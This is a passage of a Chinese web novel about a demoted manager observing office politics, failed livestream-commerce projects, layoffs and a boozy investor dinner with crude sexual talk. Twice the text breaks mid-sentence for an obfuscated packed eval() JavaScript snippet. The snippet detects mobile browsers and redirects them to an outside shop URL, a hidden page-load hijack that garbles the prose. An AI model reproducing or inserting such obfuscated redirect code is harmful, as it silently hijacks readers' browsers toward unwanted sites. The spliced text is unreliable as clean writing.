账号起不来,要投流。主播是兼职的一天播两三小时就走了,必须招新的由运营亲手调教。直播间背景不够上档次,得定制……总之,就是要花钱。W总裁一听堂妹和运营携手来汇报,信誓旦旦这样一改绝对逆风起飞,叫W总裁激动得大手一挥,这款批了。 到底是人家的亲妹妹掌权,就是不一样哈。我干的时候啥都要省钱,啥都觉得没必要花。该说不说,没我亲自检验了这是撞南墙行不通,现在W总裁批款可能也没那么爽快。 忘了交代我了。这波任免,老板宣布我是新的独立项目总经理,不再掺和他们的任何事务,直接听命于她。 嗐,哪来的新独立项目啊,还总经理。我就写那几个收尾的方案,然后来回改了发给老板,她既不催我要,我发了也不看,只说她回头看然后一直没回头。 还把我搬出了和大家一起办公的工位,但因为也没别的位置安排我,便让我坐在了前台,正好前台也没人。其实前台本是安排给O女士的,但她老不来公司,老板来了搞接待她才来掌厨,所以前台是聊胜于无。 我在前台待着不用面对原工位对面L总监那张邋遢的老脸了,落得清净,同时吃瓜看戏也很方便。 不过有会计在,就算不方便,这吃瓜看戏也落不下我。 我提了辞职,把L总的脸面按在地上摩擦,把老板的威势不放在眼里,叫老板把所有人都发落了一遍,没想到结果我还全身而退留下来了,且被老板贡在了前台,这炸裂的结果叫大家都大吃一惊。 会计不知道是出于什么心理作祟,烧冷灶呢还是愧疚呢,开始天天闲的没事干就跑来前台跟我掏心掏肺的聊天。 一会儿说“我就知道你的本事老板肯定不会让你走的”,一会儿说“那个谣言我早就知道的,老板来问我的时候我是站你的,我坚决给她说不可能,你眼里只有工作不可能喜欢Y表弟”,一会儿说“我跟你搭档工作很轻松,不像L总事儿贼多只会找麻烦”,一会儿说“小W和O姐总觉得自己是老板亲戚就也是老板,花了钱不写明白明细就要来找我报销”。 她爱说,我就辅以一些嗯啊哦配合听着,这无聊的工作又平添不少生动趣味。 一个月后,我手上那些方案改了三四遍,还是没定下来继续在改。我无所谓,我没损失,至于谁有损失有什么紧要。想让我吃苦果,如今这苦果反吃进他们的嘴里,好一个因果有报。 何况我原定辞职也要好好休息一段时间,并没有打算立即投入新工作,这些方案再能拖延,也最终会结束的。 我很好过,但直播项目那边似乎不太好过。 大专场直播项目不说了,我撤职后就一直再没进展,眼下除了还在试图各种和地方政府搭线的W总裁,是再没有人把工作重点放在上面了。 大专场那都是千万级粉丝的官媒,他们还没着急,日播的几十百万粉丝小官媒账号那边却先不满意了。 这日播也播了近半年了,还一毛钱没有让他们看到呢!没看到钱也就算了,来谈合作的方案明明说好了要助农扶贫拿政.绩,结果播到现在了,翻来覆去都是那些资本砸钱做出来的网红品牌,跟什么助农扶贫农产品也没一毛钱关系。 这这这,都算了,关键吧,还被投诉了拍A发B,收到货的实物和直播间展示的样品品质压根不一样,连包装都不一样,装都懒得装。 我当时刷单也真实消费的时候就发现的问题,没想到运营带着这直播团队是到现在也没沟通解决啊。不过转念我也懂了,那资本的网红品牌就是平台扶持的,人家有的是话语权,哪能为你一个小官媒说改就改。 资本平等地傲慢对待一切,你直接出铁拳都不一定好使。 言而总之,咱们小官媒再小也是个官方,现在官方很生气!名利双收没有,还带来负面舆情,把直播团队叫去开会,必须给个合理的解决方案。 W堂妹和运营总监带着直播团队甚至还有会计,一行十多个人次日就去了该单位。L总觉得自己资历老一点得跟着去压阵,好让对方会给点面子不至于太甩这群小年轻的脸子,在W堂妹的请求下,也挺挺腰板跟去了。 这一行浩浩荡荡的,不知道打了几个车?我一个人坐前台忍不住想到,又赶紧提醒自己,你不是总经理了,别再想降本增效那些与你无瓜的事情! 我以为几人得去一整天呢,不想一点钟出发的,三点多就回来了。要知道这可是京市啊,所谓的早晚高峰只在牛马线上体现,那车道上,就是全天无休的堵。 这家单位距离我们园区打车单程也要近一小时,刨去来回的时间,他们跟人家那里也就呆了几十分钟不到一小时?如果是这么简单就能磋商好的,又何必费劲去这么乌泱泱的一群人啊? “M姐,这项目真的是完蛋了!”诗诗挺着六个月的肚子,都不辞颠簸硬被带去了一趟,回来往我前台一坐就抱怨起来。 我把她面前的私人物品拿开,让她坐得舒服点,“怎么了?那边怎么说?” “唉!”诗诗重重叹口气,“完蛋了,人家把我们整整骂了半个小时。运营总监、W总、L总一个都不吱声儿,就那么让人家骂了半个小时啊!我想说话吧又没有那个资格,给我气得啊,肚子里宝贝都抗议起来直踢得我想吐。” 她摸摸肚子,我赶忙说,“你悠着点。别气了,你又不是主事人,人家骂就骂,也不让你背锅,你心放宽。” 她又重重叹口气,“我哪能不气啊,这锅还真的就要叫我背了!被人家骂得狗血淋头的时候吧一个个都不吭声,回来车上倒是逮着我和娜娜说,怪我们选品不给力,说是我们产品不好,又怪我们谈判能力不行,价格没优势才卖不出去的, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163816|196607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全赖我和娜娜啊!唉哟,我真的要气死了。” 我赶紧给她水杯往跟前推推,“别气别气,喝口水镇定镇定。” 娜娜也倒了杯水过来了,“是啊M姐,你被撤职后我们过得可太惨了,没人管我们就算了,什么黑锅都往我们BD身上砸!那产品不好,也不是我们一个直播间的问题,这个品牌在哪个直播间都这么干的,而且也都标注出来了说两个包装随机发。关键是那次你给我们说收到的不一样之后我们就再没有让上架卖了。至于怪我们谈判能力不行,也不看看我们这官媒才一百万粉丝,又不是什么大网红在卖货,这卖了半年都没卖出去几单,我们吹再大的官媒人家品牌方也不买单啊,怎么给价格优势嘛!” 诗诗拉她在旁边坐下,“娜娜你没说到重点。M姐我给你说,运营这人根本就不行!虽然我也不懂运营,但我见过好的运营都是啥样啊。不说什么吧,排品,这对直播是非常重要的,一场直播那么多产品不是说想上哪个上哪个,要根据直播节奏来的。但你看我们这个运营,别说顺序了,排品他都不会。哪有一场直播中同时上三四个商家的酸辣粉的啊,价格还有贵有便宜。都是大差不差的酸辣粉,大家都指着便宜的买,贵的不就成炮灰了?嘿,这事儿啊,咱们运营就干得出来,还经常干!” 这个事情第一次直播的时候我还见过,那一次看拉完全场流程配合都还算顺利,后面的我就没什么空跟全程了。当时我也疑惑他怎么同时上好几个差不多的竞品,但那会儿我们选来的产品还不算多,重复排也还能解释。没想到他是一直都这样吗? 我把疑问说了出来,诗诗和娜娜直拍大腿!“我就说吧,M姐你一个外行都看出门道来了,我们这些选品是以前就跟正经的直播团队的,哪里看不出他问题!” “我记得他当时来面试,确实是说半路出家的。因为听说直播很赚钱,他就报了那个大网红旗下的电商学院学习了三个月出师,然后说就帮亲戚家做了一个小商品的账号,一年下来盈利了一百多万,还给我看了账号,讲得很细。我看他说得头头是道,才答应他进来试试。”我回忆起他来面试的时候聊的情况。 “也是因为这个原因,所以他当时要15K我没同意,想着他来干一个月,拿出点真水平,再给他涨工资。结果第一个月他什么也没做出来。” 诗诗和娜娜头回听我提起这事儿,也听得认真,诗诗问,“那M姐你怎么没让他走另外招人来?” 我笑笑,“我倒是想啊,但你看,运营工资就和你差不多,能人哪里是我想招就能招到的,他都是我面了一大堆之后筛选出来还不错的了。第一个月我想他需要点时间适应,于是又给了他机会让他再试一个月,结果第二个月你们也看到了,我就被撤职了。” 娜娜恍然大悟,“难怪他后来和L总那么好。他是不是知道你要被撤职了,就提前抱L总大腿搞关系啊,后来就没人动他了,他在直播团队可作威作福了!” 我摊手,人家岂止是抱大腿,是串通好一起搞我了。 “M姐,他要一直把控着这个团队,我们BD是混不下去了。W总又是个什么都不懂的,一天被他哄得开开心心团团转,人两个美美当高管,什么过都叫我们背了。”诗诗的失望不加掩饰。 娜娜点头,“最惨的是我和诗诗姐,文案、剪辑、美工,也都不好混。我们不仅直播得毫无起色,内容运营也是稀巴烂。现在我们直播相关的宣传和视频,点赞量比他们原先发政务的还差,被他们骂得简直抬不起头。他俩回来也指着文案剪辑美工赖账呢,怪他们内容做得不行,要他们想办法。” 诗诗呵呵冷笑,“我们都是干活的,整个运营规划和方向,他运营总监和直播总经理肯定要拿个章程出来。他们每个方向和头绪,坐着就只会问我们要东西,我们没头苍蝇各干各的,就是有能力也分散了,这能行吗?” 我万万没想到现在连这些都不行了,“我那会儿规定每个周都要定主题和内容方向的吗,现在没人做了?” 诗诗眄一眼办公室方向,压低声音说,“你撤职之后,好些人就都是混日子了,你不过问谁还自己干啊,反正L总也看不出来。要不是我们选品12345数得出来,我们都想跟他们一样混日子呢!” 不患寡而患不均,大家都不干或者大家都一样干,就没人会心里不舒服,就怕一些哼哧哼哧干得累死,一些悠哉游哉闲出屁来。 “唉!”我也只有叹口气了,那会儿我被撤职了都还要被L总几个恶心,都不能做什么。别说我现在已经被剥离了公司了。 娜娜讨好地问,“M姐,老板说你现在是独立项目的总经理,是什么项目啊?我们有用不,有用的话我们跟你混好了,还是跟你混有奔头。” 我无奈一笑,“那都是老板为了面子想出来的说辞,哪有什么别的独立项目,就算有,我一个光杆一个人能干吗?一个人能干的,那得是多小的项目啊。我现在就是个吃瓜看戏的小喽啰,弄完手上这些活儿我也要走的。” 她俩哪里肯信,只觉得我肯定一个人有大好处,不愿意告诉她们罢了。我们没再多聊,因为直播的两个总叫直播全员去开会了。 巧了,这会议室离前台不远,他们又没关门,叫我听了个明白。 11. 人人都聪明 自打去官媒听训回来后,一个星期了,两位直播团队的总再也没有进行过一场日常直播,倒是一天两场的开会。上午一场,开到吃午饭。午睡起来混一混,三四点开一场,开到直接下班。 我听得分明,会议内容围绕大家集思广益思考怎么盘活这个账号展开。开会时长两小时,聊天瞎扯一个半。 开始一两天大家都不吭声,连开几天之后,陆续提意见的多了,甚至渐渐直接畅所欲言了。 “老板啥也不懂,只会瞎搞,瞎提要求!”我听见运营义愤填膺地说。 厉害了,竟然在公司当着那么多人的面直接批判老板,要知道这些人都会打小报告,谁给他上报一下,这直播的总不又得撤职换一个啊。哈哈哈哈,想到这里我得拼命忍住不然要笑出声。 “我姐姐就是这样,哎呀我也烦死她了!她之前还觉得运营不重要主要会上产品就行,又觉得选品不重要,只要便宜随便卖,又说宣传视频不重要根本没人看,根本说不动她!”W堂妹竟然附和运营开始数落她的姐姐也就是老板来。 真是有意思了。老板的好妹妹,老板的好亲信,这真是太亲了,大义灭亲! 也不知道小姑娘脑子里哪根筋搭错了,她是以为卖了姐姐,自己就能获得大家的认可,和大家一个阵营了?孰不知此举是让她自己里外不是人啊。而且,谁要是给她亲爱的姐姐老板大人打个小报告,她这可咋混? 听说过权力是柄双刃剑,有正反两面,但没听说过还有捅向自己的一面啊。这样自刀的行为,真是令人疑惑。 反倒是运营总监,没想到W堂妹竟然在他骂老板的情况下丝滑地无缝跳上了自己的贼船,可能不多的警惕心也放松了,于是自那天起,两人在会上开始肆无忌惮地批判起老板来。会议内容也从盘活账号变成了老板批斗大会,哦,老板还根本不在场。 W总裁的孩子准备高中就送到国外,所以她出国去为孩子考察学校去了,这一去一个多星期还没回。当然也没什么空看我的方案更没什么空回复消息,我也乐得逍遥。 这天,直播团队又在开会,会计大概也和我一样赋闲,便溜达过来前天和我聊天。 原来上次他们去听训,官媒那边要求直播团队一个周内针对账号的内容和直播运营提升要拿出一个解决方案来。 “啊?一个星期不是昨天吗?方案有了?他们发了吗?不对啊,发了的话怎么可能还在开会,应该要执行了才对。难道是方案那边不看好,让重新改?”我又开始习惯性操心起来,跟是我要被问责似的差点成了热锅上的蚂蚁。直到听见隔壁会议室隐约又说老板这这那那不行的声音,醒悟过来,职业病太严重了哈。 “嗐!什么方案啊,他们根本没吭声。”会计愁眉苦脸的,“我问了W总,她说和运营总监在想办法,但也没有什么好办法,不知道该怎么办。又说反正那边没有催,那我们这边就等着那边催了再说,那边不催我们就不动,敌不动我不动呢。” “噗哈哈。”我忍不住笑出声,这个成语不知道是会计自己学的还是W堂妹给她说的,听起来真的很逗,“那可能是他们私聊给人家发了方案呢,这么说是故意吓唬你的。” 我们和那边合作的工作群我也在里面,但是我被撤职之后听说L总又给他们跟那边几个领导拉了一个群,说是不要发些决策的消息,免得影响干活的小喽啰。所以可能这个方案也是要发在领导群里吧,反正我在群里没看到这消息。说起来他们被叫去开会也不知道是打电话的还是发在领导群的,反正我也没在原本那个群里看到。 会计一点也没被安稳到,摇摇头说,“没有发,群消息还停留在一个星期前喊我们去开会。别说发方案了,他们连那么提的要求都没和老板沟通,老板到现在都不知道这个事儿呢。” 哦哟,原来那个领导群里会计也在啊。她不说我都不知道。难怪之前她姿态拿得那么高,人家可是在领导群里的,可不得认可自己的位置嘛。 会计叹气,“M总你说我该怎么办?我也去参会不可能装作不知道啊。但是我要是去和老板说了吧,就是在插刀W总和运营。但我要是不和老板说吧,回头官媒那边怪罪下来老板问责到我头上,我也没法交代啊!” 哈?这问我干嘛?何况她嘴上这么说,肯定还是会报告的吧,不报告都显示不出来她的忠诚,体现不了她领着老板工资创造的价值。 而且在一个公司里混,要给老板展示自己的作用,无非两种方式。一种就是能为公司开源,猛猛赚钱。一种就是为公司节流,狠狠省钱。会计这个岗位不直接做业务管收款管赚钱,明显是后者最能展示她的作用了。 为公司省钱也有几种体现方式,除了直观的买东西省钱,还有一种间接的隐晦的。谁不给公司赚钱,谁阻拦了公司赚钱,谁的行为叫公司产生损失,会计发现了这个问题并上报,老板立即叫停批评这种人和行为,就能及时止损,也是一种省钱。 我当然不会给她做决策,何况她不是那种坦率相交的人,无事不登三宝殿,无事献殷勤,说不定又给我埋什么坑。 我摊摊手,“我也无能为力。虽然合作的方案是我做的,当初能合作也是我一起参与谈的,但我还管的时候只是养号,品都没接几个,平平稳稳的没出什么问题。后来这一片混乱的时候我已经被撤职了,这会儿出问题被问责,更没我的事儿了。” 会计没得到我正面的支持,显得有些失望,不过也没说什么,又杂七杂八的扯了一些有的没的,回自己屋去了。 后来的后来,我才发现,可能她来找我的这出并不是自己想来。只是那会儿已经晚了。 一个周又快要过去的时候,老板回国了。也不知道会计有没有给她报告,我秉持作壁上观的态度也没有问她。不过看老板来公司两三回了也没找直播团队开会批评他们,倒是和W堂妹以及运营多次在办公室单独开会,也都很和谐的样子。我想,应该是官媒那边的诉求已经解决了吧。 不过显然情况没我想的那么简单。某天老板又来公司见过两位直播的总,没空看我方案就急匆匆走了。我看她一副逃得不快就要被我拉住拴起来看方案的样子,真的失笑。见过老板追在员工屁股后面催工作的,没见过老板怕被员工追在屁股后面催工作的,正常老板见到这种比奴隶主还勤奋的奴隶不得嘴都笑歪。 她一走,两位总在直播团队发起了脾气,貌似是叫大家快点想办法。这行径怎么也和那会儿L总一样啊,这公司是装了什么鬼打墙吗? 一会儿,两位总似乎说够了,一起溜达下楼说去拿外卖。很快两位选品BD也来了,我以为她俩也要去拿什么外卖呢,结果往我前台一坐,又开始吐槽起来。 “M姐,你说离不离谱!他们竟然要求我和娜娜一人一天选十个品进来,一个星期至少选一百个品进来!”诗诗一边抚摸肚子一边愤概发言。 我连忙示意她悠着点注意肚子。娜娜也一改懵懂怕事的样子,不服气地说,“M姐,他们还说日播出问题,全都是因为选品不力!上回我们去被骂回来,他们还说是文案美工剪辑都有问题呢,这会儿全成我和诗诗姐的问题了。” “啊?”我只来得及说个无意义的语气助词,不过这个助词已经足够助力她们继续说下去。 诗诗老生常谈地说,“进多少个品其实对我来说都不是多难的事!主要是进来了一个也卖不出去,有什么用呢?明明是运营水平不行,根本没有直播策略和运营战略,甚至不懂排品,一场直播能同时上五六个不同品牌同样的产品。现在出了问题,直接把锅甩在了我们两个选品头上,倒是把他们两个总自己摘了个干干净净啊!” 我也疑惑了,“选品不是有三个吗?还有L总监啊,他俩只怪你们两个,L总监他们不去说说吗?”让我来帮她们转移下注意力吧,不然我也不知道说什么能安慰她们呢。 “他?他到现在就选了一个品进来!”娜娜没忍住翻个大白眼。 说到这个诗诗也是吐不尽的苦水,“L总监说是直播选品,我看他现在就是L总的助理,除了和L总一起行动,他仿佛不是我们直播项目的人一样。每次都游离在外,倒是挑毛病的时候他跳得快,出来说每一个岗位的责任说得头头是道,我都要以为他是老板,只负责要结果和找毛病呢!” 我笑得脸酸,“运营总监拿他没办法,没道理W总也不敢管他吧,好歹是老板的堂妹,也弹压不住L总监吗?” 娜娜听了白眼翻得抽抽。她本来和W堂妹都是同龄的小姑娘,两人好得跟闺蜜似的,先前还互相留宿。现在好像自W堂妹上位成W总了之后,她才发现两人竟然是有阶级之分的,而自己是被压迫的阶级,加上为了共同管理好直播项目,W堂妹也只和运营总监形影不离了,她俩这好闺蜜情岌岌可危。 “他们都是一路人!” “对,他们都是来混日子享受当官的感觉的,根本每一个想好好做事情,M姐只有你是想做做项目做事情的,结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17163817|196607||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 果你还被搞下来了!” 这抱怨我这次留下来已经听几个人说过了,不过也就过过耳朵,没回应也没表示什么。他们不是真的觉得我好,如果真的觉得我好,当时我要被搞下位的时候,就该为我说话。 虽然我不确定当时他们充当了什么角色,但是很明显,当时我的严苛的管理模式和严格的工作成果要求,没人会喜欢。 工资也不多,混混日子混混工资就好了啊,那么用心努力干做什么,对付对付过得去就行了,公司赚钱了也没我们的份啊。这种想法我一个社畜也有,比如现在。 只有一个眼看着就要赚钱了就快要分钱了的项目真正的黄掉了流产了的时候,混日子的很多人才会有一丝丝后悔,也只是一丝丝而已,回到当初他们也不会改变的。甚至为了缓解这种惭愧,还会安慰自己,不是自己一个人在敷衍,大家都在敷衍,当时努力用心也不一定会成功的,也不一定能分到好处的。人有时候就是这样短视。 他们现在会这样想,更大的可能是,担心项目做不成,解散团队。虽然有拿赔偿的可能,但找工作总是麻烦的,也不一定能找到工资更高的,关键也不是无缝衔接的能找到,找到了还得重新适应。总之,能混一天是一天的情况下,谁会给自己找麻烦呢? 我没有资格批判他们短视,我曾经也这样过来过。而且,我愿意为我的热爱废寝忘食,别人也不热爱我的热爱,也不理解我的追求,当然没有义务和我一起拼搏。 自播的问题还是没有解决,但是没几天,解决直播团队的方案倒是出来了。 W堂妹发下了一份新的考核标准,上面分门别类列了多达五十项考核内容和评分,大概包含工作态度、工作积极性、道德和品行、对领导命令的执行情况等等等等非常主观且相当不可量化的条款,末尾星号标注,这项考核标准将严格和每个人每个月的工作成绩、工资和去留直接挂钩。 发这个标准当然不是给大家打分的,而是给大家签字确认的,因为要列入劳动合同,避免无法留存的人被无偿清退后去打官司要赔偿。 打分的人是谁呢?是领导。领导就是W堂妹、运营总监、L总、L总监、会计以及最终的大BOSS也就是W总裁。一旦打分结果不及格,就要自动离职。 为什么L总一个网店项目的总经理能参与打分?不知道,反正W堂妹就是这么说的。大家也可以自动脑补为救是老板和领导们规定的。 新标准发下去,谁也不签。诗诗几个来问我有没有签。哦,可惜,我不在他们的团队里所以没给我发。大家都很气愤,要联和抵制两个总和新考核标准。 会计又来和我单方面聊天。不过不用她说我也能推测得到这些情况。 新绩效考核标准其实是W堂妹给老板的解决方案,既然不能靠自播增效,那只能对人员降本了。挺有意思的,老板的妹妹,掌握开源项目的总经理,把自己对公司的作用定位在了节流而不是开源。 不过吧,能降本也是大功一件。会计说,W堂妹此举得到了老板的赞许,直夸她的妹妹聪明。啊,想到那个啥,拉屎都会被夸的年纪。看来不止是年纪,只要是亲的,多少岁都有滤镜的。 各位领导对这个新绩效考评方案都十分满意,可能已经预见到实施之后不仅能给大家降工资,还能开掉一些没用的人了,大大的省钱!而且,掌握决定别人分数和工资多少的权力,这感觉相当好啊! 天呐!不说都没发现,要被打分的基层员工竟然是领导总们的人数一样多,达到了整整六个人! 满怀期待的总们满以为大家都会为了继续留在这个公司而签字,毕竟这样好的项目不可多得。只是,第二天,一张签字表都没收上去。 这简直是出师不利啊!W堂妹可能请教了L总,并取到了真经,那就是:开两个刺儿头杀鸡儆猴! 想起来上个被杀鸡儆猴的Y表弟,说起来,他被杀最大的原因应该还是源于老板对我的猜忌和防范,至于杀鸡儆猴糊弄老板问责直播效果,L总是顺便交了差。 反正呢,这次,又有倒霉又幸运的家伙诞生了。还是两位。 娜娜和芳芳。 选品两个没必要了,留一个就行,娜娜实习的肯定没诗诗能力好,关键是诗诗怀孕了可不好开啊。芳芳负责直播文案,这个W堂妹表示可以用ai生成的了。 说起来,什么用ai生不出来呢,只要要求不高,对质量也没什么要求,ai直接直播都行啊。 12. 精彩的饭局 被开是不幸的,对于这样烂摊子也注定要垮掉的项目来说,被开也是好事,一来有赔偿,二来有3倍赔偿啊! 啊?听说过当即辞退的2倍赔偿,听说过协商一致的给n+1赔偿,可3倍赔偿是哪里来的规定? 原来会计和W堂妹商量赔偿金额的时候,会计一看和钱相关,这可是自己的大功劳啊,必须自己办得合法又漂亮好给老板邀功。于是自己一肩挑起这个重任计算出了最终3倍赔偿的结果。 我也是听娜娜和芳芳两位幸运儿说了才知道。她俩一个实习的一个才毕业一年,都还没被辞退拿赔偿的经验,也跑来问我这个赔偿金对不对。只多不少哪里能不对,我表示当然可以签啊,当场结算走人。 我也好奇会计咋算出来的这个赔偿金额?于是后来她溜达来前台和我“聊天”,我就难得配合询问了一下,她当场骄傲地告诉我:她咨询了自己资深的律师朋友,朋友告知她,立即开除员工需给2倍赔偿,但要给一个月时间交接工作,这个月是得给算工资的,如果要让人当场就走,需得给1个月代通知金,不然就不合法。 也就是说,这些呆过了半年没满一年的员工,都得给2×1+1=3倍赔偿。 我不多的拿赔偿金经验告诉我,这算法根本就有问题啊。不过既然会计已经办了且办好了办成了对上邀功的大功劳,那谁吃盐多了闲的去提醒她呢。 其实我也不是没提,她骄傲说完之后我就说了,这我曾经拿过,只在2n和n+1任选,没听过更多的。当然孕妇不算,那可是极其复杂又金额不低的赔偿方式。 她当然不会相信我的说辞,信誓旦旦表示:我的律师朋友从业三十多年了,绝对专业可信的。 Ok,fine. 两位同事拿着赔偿被开了,大家不可能不过问的.作为工人阶级联盟,娜娜和芳芳也毫不避讳展示了赔偿金。 天呐!剩下的哪个不比这俩小毛头混职场资深啊,这赔偿算法简直是太美妙了。早受够了混乱的管理和无望的公司,要不是自己走没赔偿,谁愿意呆啊!大家顿时都羡慕极了两位幸运儿,也跃跃欲试期待自己被开。 可想而知,两位直播的总这招杀鸡不仅没起到儆猴的作用,还起了反效果。这下更没人要签这个全新的绩效考评标准了。 当然,他们幻想的开了没用的人整肃了团队后,就会变好和出业绩的直播也并未如期到来。也不知道他们一直没给解决方案,又是怎么让自播官媒同意再开一场直播的,总之期间他们到底又播了一回,还是以极其惨烈的姿势脸着地了。 这次之后就再也没开播了。哦不,是官媒已经不给登录和开播了。事情闹成这样,也不知道老板知不知情。 她知不知情我不知道,倒是这天快下班了收到她消息:叫上小W运营总监抓紧打车来XXX餐吧。 不是,这马上下班了啊,还要加班?关键是,这和我一个“其他项目总经理”有什么关系?我正想着用什么理由拒绝,她又发了一条:有个新发财的项目,你来听听把关把关。 我皱眉编辑回复文案的时候,W堂妹和运营总监却兴冲冲来到了前台,叫我快点一起打车出发。我寻思,反正也没事干,去就去吧,当看乐子了。 在餐吧灯红酒绿的大厅和W总裁及她带的两个朋友碰面后,W总裁就让服务员安排了一个包间,大家边吃边喝边聊。 确实是个新项目。她那两位朋友,一个肥头大耳尖脑袋的,说是什么资深短剧投资人,一个衣着清爽简洁却画眉擦粉的大男生,说是慢脚短剧的官方工作人员。 也不知道是谁给W总裁介绍的,她瞄上了短剧赛道。两位直和她说直播带货已经下坡路了不行了,不建议跟投,倒是短剧在上升,好多投资人都进来赚热钱呢,叫她一定要抓紧进来一起发财。 我寻思这新项目叫我来也没啥,虽然我在等收尾工作走人,但挂个新项目总经理的名头来给她凑人头充场面也就算了。可叫直播的运营总监来干嘛?这短剧和直播也没关系,她没必要叫运营总监来啊,他一个直播带货都搞不明白做不起来的,难道还懂短剧的操作? 我没疑惑太久,那俩和W总裁看似侃侃而谈实则胡吹海吣的,就和运营总监也聊上了,哦不,是运营总监主动展示外交能力,也想攀上两个“大人物”,跟他们吹上了。 我听了会儿,这两方是谁也不懂谁。那个精致的大男生是慢脚官方的,倒是应该有点东西,只是毕竟不是实操人员,只能讲些平台规则。那个肥头尖脑袋的就不用说了,我学经管的也修过一些投资学,爱关注一些投资人,就没见过哪个有真水平的投资人是这样瞎吹胡侃的,我看他更像个说书人。 至于运营总监,他满带崇拜的眼睛看着两位大哥,只会说投流他很懂的,直播投流和短剧投流也大差不差,无非是研究人群诸如此类。 真是无聊的饭局。这俩的身份也不知是真是假,要是真的,那世界可真是一个巨大的草台班子。 都在餐酒吧聚了,那这饭局就不是什么很正经的商务饭局了,只谈工作多没意思啊!何况正经商务饭局也不会只谈工作的,尤其有老登的饭局,不玩点花的开些玩笑做些游戏,那合作都成不了。 果然,没一会儿W总裁又在线摇人,摇来了两个妆容精致的丽人。这俩我见过一次,是她别的投资项目的合作人和她的助理秘书。说起来那会儿W总裁还跟我夸赞那个精致小巧的秘书,说人家多会来事儿多殷勤,我虽然不是她的助理也胜似秘书,一点儿没人家能提供情绪价值和商务饭局上的机灵。 这不,两位丽人才坐下,立即就说来晚了自罚三杯。 问我啊?我从最初W总裁带我参加饭局就说过,滴酒不沾。对,我就是传说中的靠实力吃饭的犟种愣头青,如果谁说非要喝酒才合作,那这合作我宁愿不干。这世界上那么多钱可以赚,不沾酒的总有吧,何况我对很多很多钱并没有那么强烈的占有欲,差不多得了。 两位丽人和W总裁以及W堂妹都妆容精致的,运营总监看着瘦巴巴肚子平平的酒量倒是不小,一众人把两位主力吹的嘉宾一人一句捧得高高的,又是开玩笑又是划拳喝酒,几人相谈甚欢。尤其那尖脑袋的,一直盯着被他渊博学识震惊得张目结舌又呵呵直乐的W堂妹。 我一身灰扑扑的还素着脸又肃着脸,两位嘉宾自然不会和我搭话。我也基本看穿了两人的水平,对短剧兴趣缺缺,不想多掺和他们的话题。 到底两位丽人是来热场的不是来谈项目的,很快两位嘉宾也上道地把话题转移到了床单那些事儿。 要说这话题跨度咋一下子就那么大了呢,还得是因为那位慢脚的大男生。原来他是盖,这是尖脑袋直接拿出来说的,原来他俩因为合作并且喝了几场酒成了朋友,他俩显然是真朋友,这大男生被抖落了这本来隐私的事情,也没变脸尴尬,直接毫不掩饰大方坦然承认,并表示他有对象。 尖脑袋作为见多识广的投资人,自然要好好表现下自己的眼界。于是开始给几个对盖十分好奇的性缘脑直女科普起男同志之间的那些事。 “这事儿啊,男同志和女同志不一样的,男同志都是上来先睡,睡的感觉对了,再谈感情能不能处。要是睡的感觉不对,那就快乐完了一拍两散……”尖脑袋傲视众人,神秘兮兮地讲故事,尤其见W堂妹红了脸,他脸都快笑烂了,那颧骨的肉都颤抖起来。 有一说一,我完全能接受任何性取向,但是尖脑袋这种非本人属性群体,一口一个同志在这里大肆讨论别的群体的感情和性.生活,叫我一个心态开放的红色后裔实在忍受不了。 何况人家属性群体的当事人就在席上还没言语呢,他一个眼睛流连在W堂妹胸口的猪头三,怎么好意思在这里大放厥词的! 我真是出离恶心! 显然席上另外四位女士不这么觉得。W堂妹年纪小又不接触这些,所以只听得好奇又脸红。W总裁和她那好闺蜜女老板,两个都生养了孩子的,纵然对男男不了解,对男女床上那点事儿倒是表示是各种老手,不过对男男如此不同的床单事也频频表达了惊讶惊奇。 “那他们怎么做那个事情呢,他们也没有女人的通道啊?”W总裁对此可太好奇了。 “用后面啊!而且他们也不跟男女似的,只能那样,他们还能用好多小玩.具,都快塞的,也很舒服!”尖脑袋绘声绘色仿佛自己亲历。 W总裁的丽人闺蜜女老板有些眼睛脱眶,“啊?那不是很脏。不是,关键那能舒服吗?” 大男生哈哈哈笑起来,“能啊!男的只要刺激前列腺,都可以的。” 四个女人表示无法理解。人无法想象自己没见过的东西。 尖脑袋得瑟又体贴地说,“嗨,我给你们女人讲这些,不是吓唬你们,你们不懂。这男男玩得比你们男女的花得多了,是吧老弟?” 丽人秘书突然在那里嘿嘿嘿笑了两声,大家都朝她看去,只见她也耳朵红红的,“……唉呀,我知道的。” 丽人女老板立即恍然大悟地拍手,“是是是,Vivi之前做过外教,交过两个外国男友,外国人对这些也可开放了,她懂的!” 尖脑袋立即点头,“那是,外国人玩这些花样更多了,荤素不忌的。来,咱俩碰一个。”他冲Vivi举杯,两人欢快一饮。 可能是Vivi的突出表现又让W总裁想到了我,她朝我看来,见我面不改色兴趣缺缺的样子,好笑地说,“我们小M一定是没听懂。她没男朋友也没女朋友哈哈哈哈哈。” 不是,倒也不必这样试图让我融入你的朋友圈。我可不是什么糟烂人都要做面子打几句嘴炮的。 不过她的笑话显然很好笑,席上荤素都来的众人仿佛见到古生物一样地朝我看来,没想到能真的见到活的母胎solo那惊悚的扫视,叫我觉得更加无聊了。 